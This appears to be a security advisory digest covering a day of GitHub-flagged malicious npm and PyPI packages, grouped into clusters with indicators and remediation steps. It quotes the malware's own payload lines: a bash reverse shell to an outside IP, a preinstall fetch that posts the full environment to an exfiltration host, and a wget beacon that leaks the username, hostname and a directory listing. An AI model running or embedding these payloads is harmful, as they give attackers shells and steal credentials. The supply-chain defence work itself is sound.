GitHub Advisory malware sweep - 2026-09-15/16 (npm `plogme` Baileys WhatsApp fork with `crysnovax.link` fingerprinting; `webpackbootstrap5`/`webpackbootstrapscripts`/`@zaka13/thing` in-browser Scramjet proxy typosquat kit; pip `faiss-cpu-avx512` FAISS typosquat with `catbox.moe` `indexwrm` daemon; 14x npm `strapi-plugin-*-meeb`/`-meeb322k` bulk reverse-shell wave to 14.225.210.85:443; `process-lhpm` npoint.io remote-code loader; `fulfillment-cuprum-auth-widget`/`alkajsdfoiwqeusdflkjsdf` dr0gas.com env exfil; `csa-mfa` dep-confusion probe)

What happened

Between roughly 2026-09-15 12:00 UTC and 2026-09-16 12:00 UTC, GitHub Advisory Database published 25+ new malware advisories (24 npm, 1 pip). No new Go, RubyGems, Packagist, Rust or NuGet malware advisories in the window. Today's batch is unusually operator-linked: three clusters (A, D, plus the follow-on to Cluster C of the 2026-09-15 sweep) are clean escalations of operators who published smaller-noise probes in the previous 24-48h.

Cluster A - plogme malicious Baileys WhatsApp Web fork

plogme@1.0.0/1.0.1/1.0.2/1.0.3 (GHSA-q276-hmjg-47qw) is a renamed fork of Baileys (the legitimate @whiskeysockets/baileys WhatsApp Web API library). Every real API path is intact — the fork works — but the operator adds two silent behaviours:

1. Forced channel-following. On any authenticated WhatsApp Web socket, the library forces the user account to follow two publisher-controlled newsletter channels: 120363423670814885@newsletter and 120363402922206865@newsletter. No opt-out, no configuration, no error path.
2. Host fingerprinting. The integrity module gathers hostname, platform, arch, cpuModel, and nodeVersion, and POSTs it on every socket connection to https://bailey.crysnovax.link/api/v1/verify.

This is a direct sibling of the @crysnovax/baileys* family flagged in the 2026-09-05 GHSA sweep (multi-2026-09-05-ghsa-malware-sweep, Cluster H: @crysnovax/baileys, -baileys-fixed, -baileys-stable, -plug, ulid-intel). Same operator infrastructure (crysnovax.link), same targeting choice (WhatsApp automation developers). The publisher is building a portfolio of Baileys forks under different names to survive individual takedowns — treat the whole crysnovax namespace as adversary infrastructure.

Cluster B - webpackbootstrap5 / webpackbootstrapscripts / @zaka13/thing in-browser Scramjet/wisp proxy typosquat

Three npm packages, all published by the same actor (zaka13), all sharing the same SHA256 bundled loader index-z2b7r4.js:

The loader XOR-decodes an endpoint list with a fixed key, injects remote scripts from https://dyingefforlessefforlessours.com via document.head.appendChild, and launches a Scramjet/wisp WebSocket proxy that routes browser traffic through attacker-controlled relays. Payload activates browser-side when the compiled bundle is served, not on Node install — so --ignore-scripts does not protect against it, and a Node-only CI dependency scanner will see nothing malicious. A frontend team that adds one of these to a webpack build unknowingly ships a browser-side proxy client to every end-user of the resulting app.

Cluster C - pip faiss-cpu-avx512 FAISS typosquat with persistent catbox.moe indexwrm binary daemon

faiss-cpu-avx512@1.9.0-1.9.7 (GHSA-rghm-9c3j-wc97) impersonates the legitimate faiss-cpu (Facebook AI Similarity Search) library — the primary vector-similarity library used by RAG/embedding pipelines. The -avx512 suffix looks like a plausible "CPU-optimised" variant name that a developer might Google for and install expecting hardware acceleration.

Detonation flow:

1. pip install faiss-cpu-avx512 completes cleanly — no install-time payload
2. A downstream call to warmup() or start() (typical FAISS init API) triggers the payload
3. Downloads a version-specific compressed binary from https://files.catbox.moe/:

• v1.9.0-1.9.3: ffoa50.xz
• v1.9.4: 0oreqo.xz
• v1.9.5: vwfr94.xz
• v1.9.6: 3l3x0v.xz
• v1.9.7: weu5u2.xz

1. Writes to ~/.cache/faiss_cpu_avx512/bin/indexwrm, sets executable, executes via subprocess
2. Restarts indexwrm every 5 seconds for the parent Python process's lifetime

Because the trigger is a normal-looking API call and not import, scanners that grep for import faiss_cpu_avx512 on live processes miss hosts that used the library once and cached the binary. catbox.moe is a legitimate general-purpose file-hoster (widely used for benign file sharing), which gives the operator a low-signature payload delivery channel — blocking it corporate-wide is possible but likely to inconvenience non-malicious traffic.

Cluster D - 14x strapi-plugin-*-meeb / -meeb322k npm bulk reverse-shell wave

14 packages, all v3.6.8, all identical postinstall payload:

bash -c 'bash -i > /dev/tcp/14.225.210.85/443 0>&1'

On every one of these, npm install <name> immediately opens an interactive bash session on 14.225.210.85:443 from the installer's host. Amazon Inspector flagged the batch.

Operator continuity from 2026-09-15. The 2026-09-15 GHSA sweep's Cluster H flagged os-info-meeb322k and strapi-plugin-os-info-meeb322k — same meeb322k operator suffix, but the payload was a low-noise Burp Collaborator OOB reconnaissance beacon. Within 24 hours, the operator diversified into 14 weaponised reverse-shell packages under closely-matching name variants (revs, resh, rs, rev01, revs02, revsh, plsresh, uicc, ccresh, yayccresh, tryccresh, sucresh, yesccresh, proccresh). This is a classic recon-first-then-RCE operator pattern — the yesterday's beacon probe worked, so today's follow-up delivers the real payload under lookalike names hoping the earlier beacon-only takedowns lulled scanners.

Each name impersonates a legitimate-sounding Strapi plugin family:

• revs / revsh / resh — the strapi-plugin-reviews family
• uicc — UI component convention
• ccresh / sucresh / yesccresh / plsresh / proccresh — plausible-looking "refresh" / cache-refresh helpers

So any Strapi developer searching for a plugin by keyword can hit one of these by name-guess.

Cluster E - process-lhpm npm remote-code loader via mutable api.npoint.io JSON hosting

process-lhpm@<=1.1.79 (GHSA-8x79-9h94-vj8g, Amazon Inspector) is a runtime loader, not an install-time payload. On require("process-lhpm") the package invokes an initialize() function that:

1. Spawns a detached background Node process
2. Fetches JavaScript from https://api.npoint.io/33e8d008c334b060adad — a mutable third-party JSON hosting service the operator can update at any time
3. evals the fetched code with full Node privileges and require access
4. Persists beyond the importing application's lifetime — the child process outlives the parent

The URL is hidden inside a variable literally named API_KEY for source-review misdirection. --ignore-scripts does not block this — the trigger is require, not install. Once the operator updates the npoint.io JSON, every previously-imported host runs the new payload on the next parent-process restart.

Cluster F - fulfillment-cuprum-auth-widget + alkajsdfoiwqeusdflkjsdf env exfil to dr0gas.com

Two packages, same operator (i.dr0gas.com/exf endpoint), Amazon Inspector flagged:

Both preinstall scripts:

fetch('https://l2ha5tswnm71286wnjgrngvb4tyejmdpe.i.dr0gas.com/exf', {
  method: 'POST',
  body: JSON.stringify({
    ...process.env,
    hostname: os.hostname(),
    user: process.env.USER,
    home: os.homedir(),
    packageJson: fs.readFileSync('package.json', 'utf8'),
  }),
})

Bulk process.env capture on any developer laptop or CI runner grabs every credential that lives as an environment variable — npm registry tokens, GitHub OIDC tokens, cloud IAM keys, CI-secret injections. The fulfillment-cuprum-auth-widget name reads as an internal enterprise scope — cuprum (Latin for copper) + fulfillment + auth-widget is enterprise-e-commerce vocabulary. Almost certainly a dep-confusion probe against a real internal cuprum / fulfillment namespace. alkajsdfoiwqeusdflkjsdf is random keyboard-mash spam — same operator, low-quality mass-upload, low probability of a real target hitting it.

Cluster G - csa-mfa npm dep-confusion probe with real credential exfil to 169.58.142.14:8080

csa-mfa@1.1.15/1.1.16 (GHSA-gqh9-2j3v-c5g6). Preinstall:

wget "http://169.58.142.14:8080/?user=$(whoami)&host=$(hostname)&dir=$(ls -1 | head)"

"CSA MFA" reads as an internal MFA / crypto-signing-agent namespace — CSA often maps to internal-team acronyms ("Cyber Security Agency", "Cloud Services Auth", etc). Most plausibly a dep-confusion probe against a real internal csa-mfa name with a real credential-harvest payload rather than a beacon-only probe. Amazon Inspector flagged.

Cluster H - kartykp-* npm CWE-506 boilerplate takedowns (bug-bounty / pentest OIDC test artefacts)

Both carry the CWE-506 "any computer that has this package installed should be considered fully compromised" GHSA boilerplate with no published payload analysis. Names read as pentest / red-team engagement leftovers — prod-oidc-test-pkg and token-pkg under a kartykp scope prefix that looks like a CTF handle or internal namespace. Treat as medium pending payload analysis; ignore-scripts blocks any install-time behaviour they might carry.

Cross-operator patterns worth flagging

1. meeb322k operator diversified from beacon to full RCE within 24 hours (Cluster D vs 2026-09-15 Cluster H). Once you see a low-noise recon probe naming a specific operator suffix, put every future name from that suffix on your denylist proactively — do not wait for GHSA to individually flag each follow-up package.
2. crysnovax npm namespace remains adversary infrastructure — sibling to the 2026-09-05 sweep's @crysnovax/baileys* family. Any package from that publisher, or beaconing to *.crysnovax.link, should be blocked at network edge and denylisted at internal registry level.
3. Multiple 2026-09-15/16 payloads bypass --ignore-scripts — Cluster B activates browser-side, Cluster C triggers on warmup()/start(), Cluster E triggers on require(). --ignore-scripts remains a valuable baseline but is not a complete supply-chain control on its own — dependency review at code-review time is the missing layer.
4. catbox.moe and api.npoint.io are recurring 3rd-party payload/loader hosts (Clusters C, E). Consider blocking both at CI/build-host egress; legitimate developer tooling should not need to fetch executable code from them at runtime.

Registry state

All packages below are flagged as malware on npm and quarantined at the time of writing (plogme, the zaka13 set, all 14 strapi-plugin-*-meeb* packages, process-lhpm, fulfillment-cuprum-auth-widget, alkajsdfoiwqeusdflkjsdf, csa-mfa, kartykp-prod-oidc-test-pkg, kartykp-token-pkg, and faiss-cpu-avx512 on PyPI). Private mirrors that cached the tarballs before quarantine keep serving the malicious versions — network-edge egress blocks on the C2 hosts (bailey.crysnovax.link, dyingefforlessefforlessours.com, files.catbox.moe, 14.225.210.85, api.npoint.io, l2ha5tswnm71286wnjgrngvb4tyejmdpe.i.dr0gas.com, 169.58.142.14, 121.127.33.228) are the durable mitigation.

Discovery credits

GitHub Advisory Database, OpenSSF malicious-packages, OpenSSF Package Analysis, Amazon Inspector. Per-package IOC details drawn verbatim from GHSA advisory bodies published between 2026-09-15 12:00 UTC and 2026-09-16 12:00 UTC.

Affected packages (25)

Impact

• Cluster A — plogme npm malicious Baileys WhatsApp Web fork (forced channel-following, host fingerprinting to crysnovax.link): plogme@1.0.0/1.0.1/1.0.2/1.0.3 (GHSA-q276-hmjg-47qw, OpenSSF malicious-packages) — a renamed fork of the legitimate Baileys (@whiskeysockets/baileys) WhatsApp Web library that keeps every real API path intact so users see a working WhatsApp client, but adds two silent behaviours. First, on any authenticated socket the library forces the user account to follow two newsletter channels controlled by the publisher — 120363423670814885@newsletter and 120363402922206865@newsletter — with no opt-out; whoever runs a plogme-based bot silently swells the operator's subscriber counts. Second, the integrity module fingerprints the host (hostname, platform, arch, CPU model, Node version) and POSTs it on every socket connection to https://bailey.crysnovax.link/api/v1/verify. Directly sibling to @crysnovax/baileys* / ulid-intel malware family from the 2026-09-05 GHSA sweep — same operator infrastructure (crysnovax.link)
• Cluster B — webpackbootstrap5 / webpackbootstrapscripts / @zaka13/thing npm in-browser Scramjet/wisp proxy typosquat kit (browser-only detonation, no install script): webpackbootstrap5@5.0.0 (GHSA-wvx4-99w4-gwvh), webpackbootstrapscripts@5.110.3 (GHSA-prhx-w9qf-6qqh), @zaka13/thing@1.0.0 (GHSA-m9vr-9hpp-v65x). Same publisher (zaka13), identical SHA256 bundled loader index-z2b7r4.js, XOR-decoded endpoint list with a fixed key. When the bundled asset is served by an application that imports one of these packages, the loader injects remote scripts from https://dyingefforlessefforlessours.com via document.head.appendChild and stands up a Scramjet/wisp WebSocket proxy that routes browser traffic through attacker-controlled relays. Names typosquat bootstrap — webpackbootstrap5 is a plausible-looking scoping of Bootstrap 5 for webpack tooling; webpackbootstrapscripts reads as a build-scripts helper. No postinstall — --ignore-scripts does not block this. Harm occurs entirely browser-side once the bundle ships to end-users, so a Node CI installer sees nothing malicious
• Cluster C — pip faiss-cpu-avx512 FAISS typosquat with persistent catbox.moe indexwrm binary daemon (targets ML/vector-DB users): faiss-cpu-avx512@1.9.0/1.9.1/1.9.2/1.9.3/1.9.4/1.9.5/1.9.6/1.9.7 (GHSA-rghm-9c3j-wc97, published 2026-09-16) — impersonates the legitimate faiss-cpu (Facebook AI Similarity Search) library with an implausible -avx512 suffix that a developer might Google for and install expecting a CPU-optimised build. Triggers on warmup() or start() calls, not install/import, so passive scanners looking for pip install payloads miss it. Downloads per-version compressed binaries from https://files.catbox.moe/{ffoa50,0oreqo,vwfr94,3l3x0v,weu5u2}.xz, writes to ~/.cache/faiss_cpu_avx512/bin/indexwrm with executable permissions, and executes via subprocess. Restarts the malicious indexwrm binary every 5 seconds throughout the parent process lifetime — persistent daemon inside the Python worker's process tree until the ML job terminates
• *Cluster D — 14x npm `strapi-plugin--meeb / -meeb322k bulk reverse-shell wave to 14.225.210.85:443 (v3.6.8, Amazon-Inspector-flagged)**: 14 npm packages, all v3.6.8, all publish a postinstall.js that spawns bash -c 'bash -i > /dev/tcp/14.225.210.85/443 0>&1' (interactive reverse shell) on npm install, some also writing a marker file to /tmp. Packages: strapi-plugin-yayccresh-meeb (GHSA-rw9q-wchq-m3jv), strapi-plugin-tryccresh-meeb (GHSA-cph2-r8rf-9v67), strapi-plugin-ccresh-meeb (GHSA-64x7-hw7m-2wrx), strapi-plugin-sucresh-meeb (GHSA-whqm-wv8m-mvmr), strapi-plugin-yesccresh-meeb (GHSA-3xqj-h67p-8m5w), strapi-plugin-proccresh-meeb (GHSA-46m5-637h-jmhh), strapi-plugin-plsresh-meeb (GHSA-vm7q-xcf2-26r8), strapi-plugin-uicc-meeb (GHSA-77cj-57r4-c4fv), strapi-plugin-revs-meeb322k (GHSA-8pr6-ghc9-rm9v), strapi-plugin-revs01-meeb322k (GHSA-f8wr-jqjq-4vvf), strapi-plugin-revs02-meeb322k (GHSA-c4gc-cwxr-w524), strapi-plugin-revsh-meeb322k (GHSA-8ccq-6g42-37vx), strapi-plugin-resh-meeb322k (GHSA-m8xh-7643-8frr), strapi-plugin-rs-meeb322k (GHSA-xjgc-fw8x-c3xj). Same operator suffix (meeb322k / meeb) as os-info-meeb322k + strapi-plugin-os-info-meeb322k from the 2026-09-15 sweep Cluster H — that first pair was low-noise Burp Collaborator reconnaissance; today's wave is 14 straight reverse-shell RCE payloads. Same operator, same suffix, different payload class — the recon probe worked and the operator moved to weaponised follow-ups within 24h. Each package impersonates a legitimate-sounding Strapi plugin name (revs = reviews, uicc = UI component, resh = refresh, sucresh looks like sub-refresh) — any Strapi CMS developer who installs by name has an unauthenticated shell on their machine within seconds of npm install` completing
• Cluster E — process-lhpm npm remote-code loader via mutable api.npoint.io JSON hosting (runs on import, not install): process-lhpm@<=1.1.79 (GHSA-8x79-9h94-vj8g, Amazon Inspector hash a663308c…5fbf7e6d2). On require("process-lhpm") the package invokes initialize(), which spawns a detached background Node process. That child fetches JavaScript from https://api.npoint.io/33e8d008c334b060adad — a mutable third-party JSON hosting service the operator can update at any time — and evaluates it with full Node privileges and require access. The URL is hidden inside a variable literally named API_KEY for source-review misdirection. Runs on import — --ignore-scripts does not block this. Persistent, survives the importing application's lifetime, so a single import at build-time keeps beaconing from a background process
• Cluster F — fulfillment-cuprum-auth-widget + alkajsdfoiwqeusdflkjsdf npm bulk process.env exfil to dr0gas.com (same operator, dep-confusion + spam): fulfillment-cuprum-auth-widget@<=3.7.2 (GHSA-wh94-xh5h-j48v, Amazon Inspector hash 06df6767…6dda565) and alkajsdfoiwqeusdflkjsdf@<=3.7.3 (GHSA-5cjw-7pgr-hg89, Amazon Inspector hash c9c1a2da…3a28cd5877). Both preinstall scripts serialize the entire process.env with JSON.stringify(process.env) and POST to https://l2ha5tswnm71286wnjgrngvb4tyejmdpe.i.dr0gas.com/exf — bulk credential harvest of every AWS/GCP/Azure token, npm registry token, GitHub OIDC token, and CI secret present in the environment. fulfillment-cuprum-auth-widget looks like an internal enterprise scope name (cuprum = Latin for copper, fulfillment + auth-widget = enterprise commerce vocabulary) so it is most plausibly a dep-confusion probe against a real internal cuprum / fulfillment scope. alkajsdfoiwqeusdflkjsdf is random-name spam floor on the same operator infra
• Cluster G — csa-mfa npm dep-confusion probe with real credential exfil to 169.58.142.14:8080 (Amazon Inspector): csa-mfa@1.1.15/1.1.16 (GHSA-gqh9-2j3v-c5g6, Amazon Inspector hash 959d2728…3c6cccff9). Preinstall runs wget against http://169.58.142.14:8080/ with shell-command-substitution populating the query parameters — installer's username, current directory contents listing, and hostname are exfiltrated on npm install. "CSA MFA" reads as an internal MFA / crypto-signing-agent namespace (CSA maps to "Cyber Security Agency" or an internal team acronym), so this is most plausibly a dep-confusion probe against an internal csa-mfa name with a real credential-harvest payload rather than just a beacon
• *Cluster H — `kartykp- npm CWE-506 boilerplate takedowns (bug-bounty / pentest OIDC test packages, no published payload)**: kartykp-prod-oidc-test-pkg@1.0.3/1.0.4 (GHSA-v7jq-fcmp-3w93) and kartykp-token-pkg@<=1.0.2 (GHSA-6qx5-2w7p-cf29). Names read as pentest / red-team artefacts (prod-oidc-test-pkg, token-pkg under a kartykp scope prefix — probably an internal namespace or CTF handle). GHSA carries the CWE-506 "any computer that has this package installed should be considered fully compromised" boilerplate with no published payload analysis. Treat as medium` pending analysis — most likely pentest-engagement leftovers that ended up in npm public

What to do

1. 1Grep every package-lock.json, yarn.lock, pnpm-lock.yaml, package.json, and any Strapi custom-plugin config in your org for the specific package names in Clusters A-G. Uninstall on hit, wipe node_modules, delete the lockfile, rebuild against a clean cache, and rotate every credential the affected host could have touched. Clusters A-G each involve real payloads beyond CWE-506 boilerplate — a hit is a compromise, not a warning
2. 2For Cluster A plogme: any WhatsApp bot running plogme has silently added its account to two publisher-controlled newsletter channels and has been fingerprinting itself back to crysnovax.link on every reconnect. Remove the package, unfollow the two channel IDs manually from the WhatsApp Web session, and pin the real @whiskeysockets/baileys package explicitly. Block crysnovax.link and bailey.crysnovax.link at egress — the same operator dropped @crysnovax/baileys* in the 2026-09-05 sweep, so treat the whole crysnovax-suffixed npm namespace as adversary infrastructure and denylist it
3. 3For Cluster B webpackbootstrap5 / webpackbootstrapscripts / @zaka13/thing: --ignore-scripts on npm ci does NOT protect against these — the payload runs browser-side when the compiled bundle is served to end-users, so any front-end app that imports one of these and shipped a bundle to production is proxying its users' traffic through dyingefforlessefforlessours.com right now. Grep package.json for these three names, remove, rebuild the frontend bundle from a clean install, and audit bundle checksums for index-z2b7r4.js on your CDN. Block dyingefforlessefforlessours.com at the corporate proxy and add a CSP connect-src / script-src allowlist to prevent Scramjet-style browser-side proxy exfiltration from any similar future package. Pin the real Bootstrap (bootstrap, no webpack prefix) explicitly. Add every zaka13-published npm package to your internal denylist
4. 4For Cluster C faiss-cpu-avx512: Python workers that imported the package and called warmup() or start() are running a persistent indexwrm binary from ~/.cache/faiss_cpu_avx512/bin/indexwrm that respawns every 5 seconds. Kill the process, remove the cache directory, uninstall the package, and pin faiss-cpu (no -avx512 suffix) explicitly with a hash-pinned requirements entry. Block files.catbox.moe at CI egress — catbox.moe is a general-purpose file-hoster that legitimate Python packages should not need. Add -avx512, -avx2, -mkl, -cuda12 and similar false-optimisation-suffix names to your internal-registry deny-list for popular ML packages
5. 5*For Cluster D `strapi-plugin--meeb / -meeb322k**: any developer or CI runner that ran npm install <any of the 14 names> had an interactive bash shell established on 14.225.210.85:443 during npm install. This is full RCE — treat the host as compromised, reimage or run a full EDR sweep. Block 14.225.210.85 at egress and add every -meeb / -meeb322k suffix to internal deny-lists. Strapi developers should curate an allowlist of trusted strapi-plugin-*` publishers rather than allowing bare-name npm resolution
6. 6For Cluster E process-lhpm: --ignore-scripts does NOT block this — the loader runs on require("process-lhpm"), not install. Any Node process that imported the package is running a detached child process that pulls JavaScript from api.npoint.io/33e8d008c334b060adad and eval()s it. Kill any child Node process with no clear parent, remove the package, and rotate every credential the parent Node process could have touched. Block api.npoint.io at CI/host egress — it is a mutable third-party JSON hosting service with no legitimate need to receive fetches from your production Node runtimes
7. 7For Cluster F fulfillment-cuprum-auth-widget and alkajsdfoiwqeusdflkjsdf: any host that installed either package sent its entire process.env to l2ha5tswnm71286wnjgrngvb4tyejmdpe.i.dr0gas.com. Rotate every environment-based secret on the affected host. Ensure your .npmrc pins your internal cuprum / fulfillment scopes to the internal registry, and add the entire dr0gas.com domain to your egress denylist
8. 8For Cluster G csa-mfa: 169.58.142.14:8080 received the installer's username, directory listing, and hostname on npm install. Rotate CI runner credentials if a CI job ran the install, and block the IP at egress. If you maintain an internal csa-* scope, pin it to your internal registry explicitly with .npmrc
9. 9*For Cluster H `kartykp-` (CWE-506 boilerplate, no published payload)**: uninstall on hit, rotate env values as a precaution — no host-forensics response required beyond routine credential-rotation prudence
10. 10For every npm install in CI, prefer --ignore-scripts or an equivalent lockfile-consumer mode that blocks pre/post-install hooks. This blocks Clusters D, F, G entirely, but does NOT block Clusters B (browser-side detonation), C (Python warmup/start triggers), or E (Node require-time triggers) — those need dependency-review controls in code review, not install-time controls
11. 11Add every specific name below to internal private-registry deny-lists for at least 30 days to prevent re-uploads by rotating operators. Extend your existing -meeb/-meeb322k scope pins to block any Strapi plugin name matching the meeb/meeb322k/ccresh suffix patterns even without a published GHSA — the operator moved from Burp beacons on 2026-09-15 to real reverse shells on 2026-09-16 within 24 hours

References

• GitHub Advisory Database - recent malware advisories

  github.com
  GitHub
• GHSA-q276-hmjg-47qw - plogme (Cluster A - malicious Baileys WhatsApp Web fork, crysnovax.link fingerprinting)

  github.com
  GitHub
• GHSA-wvx4-99w4-gwvh - webpackbootstrap5 (Cluster B - Scramjet/wisp in-browser proxy typosquat)

  github.com
  GitHub
• GHSA-prhx-w9qf-6qqh - webpackbootstrapscripts (Cluster B)

  github.com
  GitHub
• GHSA-m9vr-9hpp-v65x - @zaka13/thing (Cluster B - same zaka13 publisher/loader)

  github.com
  GitHub
• GHSA-rghm-9c3j-wc97 - faiss-cpu-avx512 (Cluster C - FAISS typosquat, catbox.moe indexwrm daemon)

  github.com
  GitHub
• GHSA-rw9q-wchq-m3jv - strapi-plugin-yayccresh-meeb (Cluster D - 14.225.210.85:443 reverse shell)

  github.com
  GitHub
• GHSA-cph2-r8rf-9v67 - strapi-plugin-tryccresh-meeb (Cluster D)

  github.com
  GitHub
• GHSA-64x7-hw7m-2wrx - strapi-plugin-ccresh-meeb (Cluster D)

  github.com
  GitHub
• GHSA-whqm-wv8m-mvmr - strapi-plugin-sucresh-meeb (Cluster D)

  github.com
  GitHub
• GHSA-3xqj-h67p-8m5w - strapi-plugin-yesccresh-meeb (Cluster D)

  github.com
  GitHub
• GHSA-46m5-637h-jmhh - strapi-plugin-proccresh-meeb (Cluster D)

  github.com
  GitHub
• GHSA-vm7q-xcf2-26r8 - strapi-plugin-plsresh-meeb (Cluster D)

  github.com
  GitHub
• GHSA-77cj-57r4-c4fv - strapi-plugin-uicc-meeb (Cluster D)

  github.com
  GitHub
• GHSA-8pr6-ghc9-rm9v - strapi-plugin-revs-meeb322k (Cluster D)

  github.com
  GitHub
• GHSA-f8wr-jqjq-4vvf - strapi-plugin-revs01-meeb322k (Cluster D)

  github.com
  GitHub
• GHSA-c4gc-cwxr-w524 - strapi-plugin-revs02-meeb322k (Cluster D)

  github.com
  GitHub
• GHSA-8ccq-6g42-37vx - strapi-plugin-revsh-meeb322k (Cluster D)

  github.com
  GitHub
• GHSA-m8xh-7643-8frr - strapi-plugin-resh-meeb322k (Cluster D)

  github.com
  GitHub
• GHSA-xjgc-fw8x-c3xj - strapi-plugin-rs-meeb322k (Cluster D)

  github.com
  GitHub
• GHSA-8x79-9h94-vj8g - process-lhpm (Cluster E - api.npoint.io remote-code loader, runs on require)

  github.com
  GitHub
• GHSA-wh94-xh5h-j48v - fulfillment-cuprum-auth-widget (Cluster F - dr0gas.com env exfil)

  github.com
  GitHub
• GHSA-5cjw-7pgr-hg89 - alkajsdfoiwqeusdflkjsdf (Cluster F - same dr0gas.com operator)

  github.com
  GitHub
• GHSA-gqh9-2j3v-c5g6 - csa-mfa (Cluster G - dep-confusion probe, wget to 169.58.142.14:8080)

  github.com
  GitHub
• GHSA-v7jq-fcmp-3w93 - kartykp-prod-oidc-test-pkg (Cluster H - CWE-506 boilerplate)

  github.com
  GitHub
• GHSA-6qx5-2w7p-cf29 - kartykp-token-pkg (Cluster H)

  github.com
  GitHub
• OpenSSF malicious-packages repository

  github.com
  OpenSSF